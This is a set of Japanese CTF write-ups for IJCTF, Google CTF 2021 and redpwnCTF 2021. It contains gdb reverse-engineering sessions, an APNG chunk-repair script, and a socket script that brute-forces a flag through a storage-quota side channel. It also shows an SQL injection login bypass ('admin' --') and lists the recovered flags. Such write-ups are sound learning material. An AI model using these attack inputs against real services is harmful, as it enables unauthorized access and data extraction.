IJCTF 2021 Writeup

この大会は2021/7/24 16:30(JST)~2021/7/25 16:30(JST)に開催されました。
今回もチームで参戦。結果は1099点で132チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity (Reverse Engineering)

$ gdb -q ./sanity
Reading symbols from ./sanity...(no debugging symbols found)...done.
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x555555555165 (<main>:	push   rbp)
RBX: 0x0 
RCX: 0x5555555552b0 (<__libc_csu_init>:	push   r15)
RDX: 0x7fffffffdf38 --> 0x7fffffffe278 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdf28 --> 0x7fffffffe260 ("/mnt/hgfs/Shared/sanity")
RDI: 0x1 
RBP: 0x7fffffffde40 --> 0x5555555552b0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffde40 --> 0x5555555552b0 (<__libc_csu_init>:	push   r15)
RIP: 0x555555555169 (<main+4>:	push   r15)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555555080 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf20 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555160 <frame_dummy>:	
    jmp    0x5555555550e0 <register_tm_clones>
   0x555555555165 <main>:	push   rbp
   0x555555555166 <main+1>:	mov    rbp,rsp
=> 0x555555555169 <main+4>:	push   r15
   0x55555555516b <main+6>:	push   r14
   0x55555555516d <main+8>:	push   r12
   0x55555555516f <main+10>:	push   rbx
   0x555555555170 <main+11>:	sub    rsp,0x90
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde40 --> 0x5555555552b0 (<__libc_csu_init>:	push   r15)
0008| 0x7fffffffde48 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
0016| 0x7fffffffde50 --> 0x1 
0024| 0x7fffffffde58 --> 0x7fffffffdf28 --> 0x7fffffffe260 ("/mnt/hgfs/Shared/sanity")
0032| 0x7fffffffde60 --> 0x100008000 
0040| 0x7fffffffde68 --> 0x555555555165 (<main>:	push   rbp)
0048| 0x7fffffffde70 --> 0x0 
0056| 0x7fffffffde78 --> 0xa4f5b027479a811b 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x0000555555555169 in main ()
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000555555555165 <+0>:	push   rbp
   0x0000555555555166 <+1>:	mov    rbp,rsp
=> 0x0000555555555169 <+4>:	push   r15
   0x000055555555516b <+6>:	push   r14
   0x000055555555516d <+8>:	push   r12
   0x000055555555516f <+10>:	push   rbx
   0x0000555555555170 <+11>:	sub    rsp,0x90
   0x0000555555555177 <+18>:	mov    rax,rsp
   0x000055555555517a <+21>:	mov    r12,rax
   0x000055555555517d <+24>:	mov    rax,QWORD PTR [rip+0x2ecc]        # 0x555555558050 <flag>
   0x0000555555555184 <+31>:	mov    rdi,rax
   0x0000555555555187 <+34>:	call   0x555555555040 <strlen@plt>
   0x000055555555518c <+39>:	mov    rdx,rax
   0x000055555555518f <+42>:	sub    rdx,0x1
   0x0000555555555193 <+46>:	mov    QWORD PTR [rbp-0x30],rdx
   0x0000555555555197 <+50>:	mov    QWORD PTR [rbp-0xb0],rax
   0x000055555555519e <+57>:	mov    QWORD PTR [rbp-0xa8],0x0
   0x00005555555551a9 <+68>:	mov    r14,rax
   0x00005555555551ac <+71>:	mov    r15d,0x0
   0x00005555555551b2 <+77>:	mov    edx,0x10
   0x00005555555551b7 <+82>:	sub    rdx,0x1
   0x00005555555551bb <+86>:	add    rax,rdx
   0x00005555555551be <+89>:	mov    esi,0x10
   0x00005555555551c3 <+94>:	mov    edx,0x0
   0x00005555555551c8 <+99>:	div    rsi
   0x00005555555551cb <+102>:	imul   rax,rax,0x10
   0x00005555555551cf <+106>:	sub    rsp,rax
   0x00005555555551d2 <+109>:	mov    rax,rsp
   0x00005555555551d5 <+112>:	add    rax,0x0
   0x00005555555551d9 <+116>:	mov    QWORD PTR [rbp-0x38],rax
   0x00005555555551dd <+120>:	mov    DWORD PTR [rbp-0x24],0x0
   0x00005555555551e4 <+127>:	jmp    0x555555555223 <main+190>
   0x00005555555551e6 <+129>:	mov    rdx,QWORD PTR [rip+0x2e63]        # 0x555555558050 <flag>
   0x00005555555551ed <+136>:	mov    eax,DWORD PTR [rbp-0x24]
   0x00005555555551f0 <+139>:	cdqe   
   0x00005555555551f2 <+141>:	add    rax,rdx
   0x00005555555551f5 <+144>:	movzx  edx,BYTE PTR [rax]
   0x00005555555551f8 <+147>:	mov    rcx,QWORD PTR [rip+0x2e49]        # 0x555555558048 <key>
   0x00005555555551ff <+154>:	mov    eax,DWORD PTR [rbp-0x24]
   0x0000555555555202 <+157>:	cdqe   
   0x0000555555555204 <+159>:	add    rax,rcx
   0x0000555555555207 <+162>:	movzx  eax,BYTE PTR [rax]
   0x000055555555520a <+165>:	xor    eax,edx
   0x000055555555520c <+167>:	mov    BYTE PTR [rbp-0x39],al
   0x000055555555520f <+170>:	mov    rdx,QWORD PTR [rbp-0x38]
   0x0000555555555213 <+174>:	mov    eax,DWORD PTR [rbp-0x24]
   0x0000555555555216 <+177>:	cdqe   
   0x0000555555555218 <+179>:	movzx  ecx,BYTE PTR [rbp-0x39]
   0x000055555555521c <+183>:	mov    BYTE PTR [rdx+rax*1],cl
   0x000055555555521f <+186>:	add    DWORD PTR [rbp-0x24],0x1
   0x0000555555555223 <+190>:	mov    eax,DWORD PTR [rbp-0x24]
   0x0000555555555226 <+193>:	movsxd rbx,eax
   0x0000555555555229 <+196>:	mov    rax,QWORD PTR [rip+0x2e20]        # 0x555555558050 <flag>
   0x0000555555555230 <+203>:	mov    rdi,rax
   0x0000555555555233 <+206>:	call   0x555555555040 <strlen@plt>
   0x0000555555555238 <+211>:	cmp    rbx,rax
   0x000055555555523b <+214>:	jb     0x5555555551e6 <main+129>
   0x000055555555523d <+216>:	lea    rdi,[rip+0xe12]        # 0x555555556056
   0x0000555555555244 <+223>:	call   0x555555555030 <puts@plt>
   0x0000555555555249 <+228>:	lea    rax,[rbp-0xa0]
   0x0000555555555250 <+235>:	mov    rsi,rax
   0x0000555555555253 <+238>:	lea    rdi,[rip+0xe0c]        # 0x555555556066
   0x000055555555525a <+245>:	mov    eax,0x0
   0x000055555555525f <+250>:	call   0x555555555060 <__isoc99_scanf@plt>
   0x0000555555555264 <+255>:	mov    rdx,QWORD PTR [rbp-0x38]
   0x0000555555555268 <+259>:	lea    rax,[rbp-0xa0]
   0x000055555555526f <+266>:	mov    rsi,rdx
   0x0000555555555272 <+269>:	mov    rdi,rax
   0x0000555555555275 <+272>:	call   0x555555555050 <strcmp@plt>
   0x000055555555527a <+277>:	test   eax,eax
   0x000055555555527c <+279>:	jne    0x55555555528c <main+295>
   0x000055555555527e <+281>:	lea    rdi,[rip+0xde4]        # 0x555555556069
   0x0000555555555285 <+288>:	call   0x555555555030 <puts@plt>
   0x000055555555528a <+293>:	jmp    0x555555555298 <main+307>
   0x000055555555528c <+295>:	lea    rdi,[rip+0xddf]        # 0x555555556072
   0x0000555555555293 <+302>:	call   0x555555555030 <puts@plt>
   0x0000555555555298 <+307>:	mov    rsp,r12
   0x000055555555529b <+310>:	mov    eax,0x0
   0x00005555555552a0 <+315>:	lea    rsp,[rbp-0x20]
   0x00005555555552a4 <+319>:	pop    rbx
   0x00005555555552a5 <+320>:	pop    r12
   0x00005555555552a7 <+322>:	pop    r14
   0x00005555555552a9 <+324>:	pop    r15
   0x00005555555552ab <+326>:	pop    rbp
   0x00005555555552ac <+327>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000555555555275
Breakpoint 2 at 0x555555555275
gdb-peda$ c
Continuing.
Whats the flag?
hoge

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdda0 --> 0x65676f68 ('hoge')
RBX: 0x25 ('%')
RCX: 0x7ffff7dce560 --> 0x7ffff7dca580 --> 0x7ffff7b978e1 --> 0x636d656d5f5f0043 ('C')
RDX: 0x7fffffffdd60 ("IJCTF{you_did_not_fall_for_it_right?}")
RSI: 0x7fffffffdd60 ("IJCTF{you_did_not_fall_for_it_right?}")
RDI: 0x7fffffffdda0 --> 0x65676f68 ('hoge')
RBP: 0x7fffffffde40 --> 0x5555555552b0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdd60 ("IJCTF{you_did_not_fall_for_it_right?}")
RIP: 0x555555555275 (<main+272>:	call   0x555555555050 <strcmp@plt>)
R8 : 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x555555556068 --> 0x74636572726f4300 ('')
R12: 0x7fffffffdd90 --> 0x25 ('%')
R13: 0x7fffffffdf20 --> 0x1 
R14: 0x25 ('%')
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555268 <main+259>:	lea    rax,[rbp-0xa0]
   0x55555555526f <main+266>:	mov    rsi,rdx
   0x555555555272 <main+269>:	mov    rdi,rax
=> 0x555555555275 <main+272>:	call   0x555555555050 <strcmp@plt>
   0x55555555527a <main+277>:	test   eax,eax
   0x55555555527c <main+279>:	jne    0x55555555528c <main+295>
   0x55555555527e <main+281>:	lea    rdi,[rip+0xde4]        # 0x555555556069
   0x555555555285 <main+288>:	call   0x555555555030 <puts@plt>
Guessed arguments:
arg[0]: 0x7fffffffdda0 --> 0x65676f68 ('hoge')
arg[1]: 0x7fffffffdd60 ("IJCTF{you_did_not_fall_for_it_right?}")
arg[2]: 0x7fffffffdd60 ("IJCTF{you_did_not_fall_for_it_right?}")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd60 ("IJCTF{you_did_not_fall_for_it_right?}")
0008| 0x7fffffffdd68 ("u_did_not_fall_for_it_right?}")
0016| 0x7fffffffdd70 ("t_fall_for_it_right?}")
0024| 0x7fffffffdd78 ("or_it_right?}")
0032| 0x7fffffffdd80 --> 0x7d3f746867 ('ght?}')
0040| 0x7fffffffdd88 --> 0x55555555518c (<main+39>:	mov    rdx,rax)
0048| 0x7fffffffdd90 --> 0x25 ('%')
0056| 0x7fffffffdd98 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555555275 in main ()
IJCTF{you_did_not_fall_for_it_right?}

Black Letter (Forensic)

各チャンクのサイズとCRCが0になっている。チャンクを指定して、そのサイズとCRCを計算して埋める。
チャンクの順番はこのようになっている。

IHDR
acTL
tRNS
fcTL
IDAT
fcTL
fdAT
fcTL
fdAT
fcTL
fdAT
 :
fcTL
fdAT
IEND

この前提でサイズとCRCを復元させる。
Anmated PNGとして復元したが、チャンクの順番がおかしく、4と5しか表示されない。
そこでさらにアニメーションの順番を確認して正しい順序に入れ替える。
データ形式は <チャンク名(4バイト)> + <シーケンス番号(4バイト)> + <データ>となっている。
最終的なコードは以下の通り。

from binascii import *
from struct import *

def calc_crc(d):
    pass

with open('message.png', 'rb') as f:
    data = f.read()

index = 8
next_index = data.find('IHDR', index)

#### IHDR ####
curr_index = next_index
next_index = data.find('acTL', index)
length = (next_index - 8) - (curr_index + 4)
size = pack('>I', length)
data = data[:curr_index - 4] + size + data[curr_index:]
crc = pack('!l', crc32(data[curr_index:next_index - 8]))
data = data[:next_index - 8] + crc + data[next_index - 4:]

index = next_index - 4

#### acTL ####
curr_index = next_index
next_index = data.find('tRNS', index)
length = (next_index - 8) - (curr_index + 4)
size = pack('>I', length)
data = data[:curr_index - 4] + size + data[curr_index:]
crc = pack('!l', crc32(data[curr_index:next_index - 8]))
data = data[:next_index - 8] + crc + data[next_index - 4:]

index = next_index - 4

#### tRNS ####
curr_index = next_index
next_index = data.find('fcTL', index)
length = (next_index - 8) - (curr_index + 4)
size = pack('>I', length)
data = data[:curr_index - 4] + size + data[curr_index:]
crc = pack('!l', crc32(data[curr_index:next_index - 8]))
data = data[:next_index - 8] + crc + data[next_index - 4:]

index = next_index - 4

#### fcTL ####
curr_index = next_index
next_index = data.find('IDAT', index)
length = (next_index - 8) - (curr_index + 4)
size = pack('>I', length)
data = data[:curr_index - 4] + size + data[curr_index:]
crc = pack('!l', crc32(data[curr_index:next_index - 8]))
data = data[:next_index - 8] + crc + data[next_index - 4:]

index = next_index - 4

#### IDAT ####
curr_index = next_index
next_index = data.find('fcTL', index)
length = (next_index - 8) - (curr_index + 4)
size = pack('>I', length)
data = data[:curr_index - 4] + size + data[curr_index:]
crc = pack('!l', crc32(data[curr_index:next_index - 8]))
data = data[:next_index - 8] + crc + data[next_index - 4:]

index = next_index - 4

i = 0
while True:
    #### fcTL / fdAT ####
    if i % 2 == 0:
        next_chunk = 'fdAT'
    else:
        next_chunk = 'fcTL'
    curr_index = next_index
    next_index = data.find(next_chunk, index)
    if next_index == -1:
        next_index = data.find('IEND', index)
        length = (next_index - 8) - (curr_index + 4)
        size = pack('>I', length)
        data = data[:curr_index - 4] + size + data[curr_index:]
        crc = pack('!l', crc32(data[curr_index:next_index - 8]))
        data = data[:next_index - 8] + crc + data[next_index - 4:]

        index = next_index - 4
        break
    length = (next_index - 8) - (curr_index + 4)
    size = pack('>I', length)
    data = data[:curr_index - 4] + size + data[curr_index:]
    crc = pack('!l', crc32(data[curr_index:next_index - 8]))
    data = data[:next_index - 8] + crc + data[next_index - 4:]

    index = next_index - 4

    i += 1

#### IEND ####
curr_index = next_index
length = (len(data) - 4) - (curr_index + 4)
size = pack('>I', length)
data = data[:curr_index - 4] + size + data[curr_index:]
crc = pack('!l', crc32(data[curr_index:len(data) - 4]))
data = data[:len(data) - 4] + crc

#### correct fcTL / fdAT sequence ####
idat_index = data.find('IDAT')
fctl1_index = data.find('fcTL', idat_index)
data_head = data[:fctl1_index - 4]
iend_index = data.find('IEND')
data_tail = data[iend_index - 4:]
target_data = data[fctl1_index - 4:iend_index - 4]

i = 0
next_index = 4
chunk_data = [''] * 80
while True:
    if i % 2 == 0:
        next_chunk = 'fdAT'
    else:
        next_chunk = 'fcTL'
    curr_index = next_index
    next_index = target_data.find(next_chunk, curr_index)
    if next_index == -1:
        seqno = unpack('>I', target_data[curr_index + 4:curr_index + 8])[0]
        chunk_data[seqno - 1] = target_data[curr_index - 4:]
        break
    seqno = unpack('>I', target_data[curr_index + 4:curr_index + 8])[0]
    chunk_data[seqno - 1] = target_data[curr_index - 4:next_index - 4]
    curr_index = next_index

    i += 1

data = data_head + ''.join(chunk_data) + data_tail

with open('message_recover.png', 'wb') as f:
    f.write(data)

復元したAnmated PNGを最初のフレームから見るとフラグになる。

IJCTF{d34f6429957e3ec205d4f140c9b34a33}

Google Capture The Flag 2021 Writeup

この大会は2021/7/17 9:00(JST)~2021/7/19 9:00(JST)に開催されました。
今回もチームで参戦。結果は 204点で379チーム中156位でした。
自分で解けた問題をWriteupとして書いておきます。

FILESTORE (misc)

サーバの処理の概要は以下の通り。

・blob: 2**16の長さの\x00のbyte文字列
・files: 辞書型データ
・used = 0
・flagをstore
 ・part_list = []
 ・blobに先頭からflagをセットする。
 ・part_listにflagを16バイトのブロックで分割した際の(index, size)を追加する。
 ・fid: ランダム英数字16バイト
 ・files[fid] = partlist
 ・fidを返却
・以下繰り返しでメニュー選択
 ・loadの場合
  ・fid: 入力
  ・fidに対応するデータの連結を表示
 ・storeの場合
  ・data: storeするデータを入力
  ・dataをstore
   ・filesに追加
   ※同じデータがある場合、blobには追加されない。
  ・storeしたfidを表示
 ・status
  ・時刻を表示
  ・blobの使用量を表示

1文字ずつブルートフォースでblob使用量が増えない文字を探していく。フラグの先頭はCTF{が前提でよいか確認する。

$ nc filestore.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
Welcome to our file storage solution.

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 00:07:19 2021
Quota: 0.026kB/64.000kB
Files: 1

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
CTF{
Stored! Here's your file id:
zP5vP4iPJ9ImF6RW

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 00:07:37 2021
Quota: 0.026kB/64.000kB
Files: 2

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
flag{
Stored! Here's your file id:
2Yv13cmII816m82V

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 00:07:53 2021
Quota: 0.031kB/64.000kB
Files: 3

Menu:
- load
- store
- status
- exit

"CTF{"の場合は使用量が増えていないので、前提は正しいようだ。あとは最初の使用サイズが0.026kBであることから1024*0.026≒27で、ブロック数は2なので、"CTF{"から始まり、"}"で終わることを前提にフラグを求める。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def get_quota(s):
    print 'status'
    s.sendall('status\n')
    data = recvuntil(s, 'exit\n').rstrip()
    print data
    quota = float(data.split('\n')[2].split(' ')[1].split('kB')[0])
    return quota

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('filestore.2021.ctfcompetition.com', 1337))

data = recvuntil(s, 'exit\n').rstrip()
print data

quota = get_quota(s)

flag1 = 'CTF{'
flag2 = '}'
while True:
    for code in range(33, 127):
        if len(flag1) < 16:
            try_flag = flag1 + chr(code)
        else:
            try_flag = chr(code) + flag2
        print 'store'
        s.sendall('store\n')
        data = recvuntil(s, '\n').rstrip()
        print data
        print try_flag
        s.sendall(try_flag + '\n')
        data = recvuntil(s, 'exit\n').rstrip()
        print data
        new_quota = get_quota(s)
        if quota < new_quota:
            quota = new_quota
        else:
            if len(flag1) < 16:
                flag1 += chr(code)
            else:
                flag2 = chr(code) + flag2
            break
    if len(flag2) == 11:
        break

flag = flag1 + flag2
print flag

flagの前半を取得したところで接続が切れたので、その取得したところまでセットして継続して再実行した。実行結果は以下の通り。

== proof-of-work: disabled ==
Welcome to our file storage solution.

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 03:58:06 2021
Quota: 0.026kB/64.000kB
Files: 1

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
CTF{!
Stored! Here's your file id:
8JAMah4778KtV47f

        :

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
sp1ic4ti0n}
Stored! Here's your file id:
qKEvH3eOQnWFzMgM

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 04:21:04 2021
Quota: 0.918kB/64.000kB
Files: 84

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
tp1ic4ti0n}
Stored! Here's your file id:
BKesFwJnVgEXZfM4

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 04:21:05 2021
Quota: 0.929kB/64.000kB
Files: 85

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
up1ic4ti0n}
Stored! Here's your file id:
gOyEKxZyCbSR58jh

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 04:21:06 2021
Quota: 0.929kB/64.000kB
Files: 86

Menu:
- load
- store
- status
- exit
CTF{CR1M3_0f_d3dup1ic4ti0n}
CTF{CR1M3_0f_d3dup1ic4ti0n}

redpwnCTF 2021 Writeup

この大会は2021/7/10 4:00(JST)~2021/7/13 4:00(JST)に開催されました。
今回もチームで参戦。結果は 2341点で1418チーム中52位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (misc)

問題にフラグが書いてあった。

flag{1_l0v3_54n17y_ch3ck_ch4ll5}

discord (misc)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

flag{chall3n63_au7h0r5h1p_1nfl4710n}

inspect-me (web)

HTMLソースを見ると、コメントにフラグが書いてあった。

  <!-- flag{inspect_me_like_123} -->
flag{inspect_me_like_123}

compliant-lattice-feline (misc)

ncで接続するだけ。

$ nc mc.ax 31443
flag{n3tc4t_1s_a_pip3_t0_the_w0rld}
flag{n3tc4t_1s_a_pip3_t0_the_w0rld}

scissor (crypto)

暗号を見るだけでも推測できるが、添付のスクリプトからシーザー暗号になっていることがわかる。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 12:
surround_this_flag_with_flag_format
flag{surround_this_flag_with_flag_format}

orm-bad (web)

Usernameが"admin"でログインできれば、フラグが表示される。SQLインジェクション。以下のように入力して、ログインすると、フラグが表示された。

Username: admin' --
Password: (空)
flag{sqli_overused_again_0b4f6}

wstrings (rev)

$ gdb -q ./wstrings
Reading symbols from ./wstrings...(no debugging symbols found)...done.
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x55555555481a (<main>:	push   rbp)
RBX: 0x0 
RCX: 0x5555555548b0 (<__libc_csu_init>:	push   r15)
RDX: 0x7fffffffdf38 --> 0x7fffffffe27a ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdf28 --> 0x7fffffffe260 ("/mnt/hgfs/Shared/wstrings")
RDI: 0x1 
RBP: 0x7fffffffde40 --> 0x5555555548b0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffde40 --> 0x5555555548b0 (<__libc_csu_init>:	push   r15)
RIP: 0x55555555481e (<main+4>:	sub    rsp,0x150)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555554710 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf20 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554815 <frame_dummy+5>:	
    jmp    0x555555554780 <register_tm_clones>
   0x55555555481a <main>:	push   rbp
   0x55555555481b <main+1>:	mov    rbp,rsp
=> 0x55555555481e <main+4>:	sub    rsp,0x150
   0x555555554825 <main+11>:	mov    rax,QWORD PTR fs:0x28
   0x55555555482e <main+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x555555554832 <main+24>:	xor    eax,eax
   0x555555554834 <main+26>:	lea    rdi,[rip+0x185]        # 0x5555555549c0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde40 --> 0x5555555548b0 (<__libc_csu_init>:	push   r15)
0008| 0x7fffffffde48 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
0016| 0x7fffffffde50 --> 0x1 
0024| 0x7fffffffde58 --> 0x7fffffffdf28 --> 0x7fffffffe260 ("/mnt/hgfs/Shared/wstrings")
0032| 0x7fffffffde60 --> 0x100008000 
0040| 0x7fffffffde68 --> 0x55555555481a (<main>:	push   rbp)
0048| 0x7fffffffde70 --> 0x0 
0056| 0x7fffffffde78 --> 0xdec3a62e07b837fc 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x000055555555481e in main ()
gdb-peda$ disas main
Dump of assembler code for function main:
   0x000055555555481a <+0>:	push   rbp
   0x000055555555481b <+1>:	mov    rbp,rsp
=> 0x000055555555481e <+4>:	sub    rsp,0x150
   0x0000555555554825 <+11>:	mov    rax,QWORD PTR fs:0x28
   0x000055555555482e <+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000555555554832 <+24>:	xor    eax,eax
   0x0000555555554834 <+26>:	lea    rdi,[rip+0x185]        # 0x5555555549c0
   0x000055555555483b <+33>:	mov    eax,0x0
   0x0000555555554840 <+38>:	call   0x5555555546f0 <wprintf@plt>
   0x0000555555554845 <+43>:	mov    rdx,QWORD PTR [rip+0x2007e4]        # 0x555555755030 <stdin@@GLIBC_2.2.5>
   0x000055555555484c <+50>:	lea    rax,[rbp-0x150]
   0x0000555555554853 <+57>:	mov    esi,0x50
   0x0000555555554858 <+62>:	mov    rdi,rax
   0x000055555555485b <+65>:	call   0x5555555546c0 <fgetws@plt>
   0x0000555555554860 <+70>:	mov    rax,QWORD PTR [rip+0x2007a9]        # 0x555555755010 <flag>
   0x0000555555554867 <+77>:	lea    rdx,[rbp-0x150]
   0x000055555555486e <+84>:	mov    rsi,rdx
   0x0000555555554871 <+87>:	mov    rdi,rax
   0x0000555555554874 <+90>:	call   0x5555555546b0 <wcscmp@plt>
   0x0000555555554879 <+95>:	test   eax,eax
   0x000055555555487b <+97>:	jne    0x555555554893 <main+121>
   0x000055555555487d <+99>:	mov    rax,QWORD PTR [rip+0x20079c]        # 0x555555755020 <stdout@@GLIBC_2.2.5>
   0x0000555555554884 <+106>:	mov    rsi,rax
   0x0000555555554887 <+109>:	lea    rdi,[rip+0x1ea]        # 0x555555554a78
   0x000055555555488e <+116>:	call   0x5555555546e0 <fputws@plt>
   0x0000555555554893 <+121>:	mov    eax,0x0
   0x0000555555554898 <+126>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x000055555555489c <+130>:	xor    rcx,QWORD PTR fs:0x28
   0x00005555555548a5 <+139>:	je     0x5555555548ac <main+146>
   0x00005555555548a7 <+141>:	call   0x5555555546d0 <__stack_chk_fail@plt>
   0x00005555555548ac <+146>:	leave  
   0x00005555555548ad <+147>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000555555554874★比較部分にブレークポイント
Breakpoint 2 at 0x555555554874
gdb-peda$ c
Continuing.
Welcome to flag checker 1.0.
Give me a flag> hoge

[----------------------------------registers-----------------------------------]
RAX: 0x555555554938 --> 0x6c00000066 ('f')
RBX: 0x0 
RCX: 0x1 
RDX: 0x7fffffffdcf0 --> 0x6f00000068 ('h')
RSI: 0x7fffffffdcf0 --> 0x6f00000068 ('h')
RDI: 0x555555554938 --> 0x6c00000066 ('f')
RBP: 0x7fffffffde40 --> 0x5555555548b0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdcf0 --> 0x6f00000068 ('h')
RIP: 0x555555554874 (<main+90>:	call   0x5555555546b0 <wcscmp@plt>)
R8 : 0x555555757aa4 --> 0x0 
R9 : 0x7fffffffdb48 --> 0x7fffffffdb60 --> 0x1000 
R10: 0x4 
R11: 0x4 
R12: 0x555555554710 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf20 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554867 <main+77>:	lea    rdx,[rbp-0x150]
   0x55555555486e <main+84>:	mov    rsi,rdx
   0x555555554871 <main+87>:	mov    rdi,rax
=> 0x555555554874 <main+90>:	call   0x5555555546b0 <wcscmp@plt>
   0x555555554879 <main+95>:	test   eax,eax
   0x55555555487b <main+97>:	jne    0x555555554893 <main+121>
   0x55555555487d <main+99>:	
    mov    rax,QWORD PTR [rip+0x20079c]        # 0x555555755020 <stdout@@GLIBC_2.2.5>
   0x555555554884 <main+106>:	mov    rsi,rax
Guessed arguments:
arg[0]: 0x555555554938 --> 0x6c00000066 ('f')
arg[1]: 0x7fffffffdcf0 --> 0x6f00000068 ('h')
arg[2]: 0x7fffffffdcf0 --> 0x6f00000068 ('h')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdcf0 --> 0x6f00000068 ('h')
0008| 0x7fffffffdcf8 --> 0x6500000067 ('g')
0016| 0x7fffffffdd00 --> 0xa ('\n')
0024| 0x7fffffffdd08 --> 0x7fffffffde48 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
0032| 0x7fffffffdd10 --> 0x7fffffffde80 --> 0x555555554710 (<_start>:	xor    ebp,ebp)
0040| 0x7fffffffdd18 --> 0x7ffff7ffe710 --> 0x7ffff7ffb000 (jg     0x7ffff7ffb047)
0048| 0x7fffffffdd20 --> 0x0 
0056| 0x7fffffffdd28 --> 0x7ffff7dde39f (<_dl_lookup_symbol_x+319>:	add    rsp,0x30)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555554874 in main ()
gdb-peda$ x/s $rax
0x555555554938:	"f"
gdb-peda$ x/100s $rax
0x555555554938:	"f"
0x55555555493a:	""
0x55555555493b:	""
0x55555555493c:	"l"
0x55555555493e:	""
0x55555555493f:	""
0x555555554940:	"a"
0x555555554942:	""
0x555555554943:	""
0x555555554944:	"g"
0x555555554946:	""
0x555555554947:	""
0x555555554948:	"{"
0x55555555494a:	""
0x55555555494b:	""
0x55555555494c:	"n"
0x55555555494e:	""
0x55555555494f:	""
0x555555554950:	"0"
0x555555554952:	""
0x555555554953:	""
0x555555554954:	"t"
0x555555554956:	""
0x555555554957:	""
0x555555554958:	"_"
0x55555555495a:	""
0x55555555495b:	""
0x55555555495c:	"a"
0x55555555495e:	""
0x55555555495f:	""
0x555555554960:	"l"
0x555555554962:	""
0x555555554963:	""
0x555555554964:	"1"
0x555555554966:	""
0x555555554967:	""
0x555555554968:	"_"
0x55555555496a:	""
0x55555555496b:	""
0x55555555496c:	"s"
0x55555555496e:	""
0x55555555496f:	""
0x555555554970:	"t"
0x555555554972:	""
0x555555554973:	""
0x555555554974:	"r"
0x555555554976:	""
0x555555554977:	""
0x555555554978:	"1"
0x55555555497a:	""
0x55555555497b:	""
0x55555555497c:	"n"
0x55555555497e:	""
0x55555555497f:	""
0x555555554980:	"g"
0x555555554982:	""
0x555555554983:	""
0x555555554984:	"s"
0x555555554986:	""
0x555555554987:	""
0x555555554988:	"_"
0x55555555498a:	""
0x55555555498b:	""
0x55555555498c:	"a"
0x55555555498e:	""
0x55555555498f:	""
0x555555554990:	"r"
0x555555554992:	""
0x555555554993:	""
0x555555554994:	"3"
0x555555554996:	""
0x555555554997:	""
0x555555554998:	"_"
0x55555555499a:	""
0x55555555499b:	""
0x55555555499c:	"s"
0x55555555499e:	""
0x55555555499f:	""
0x5555555549a0:	"k"
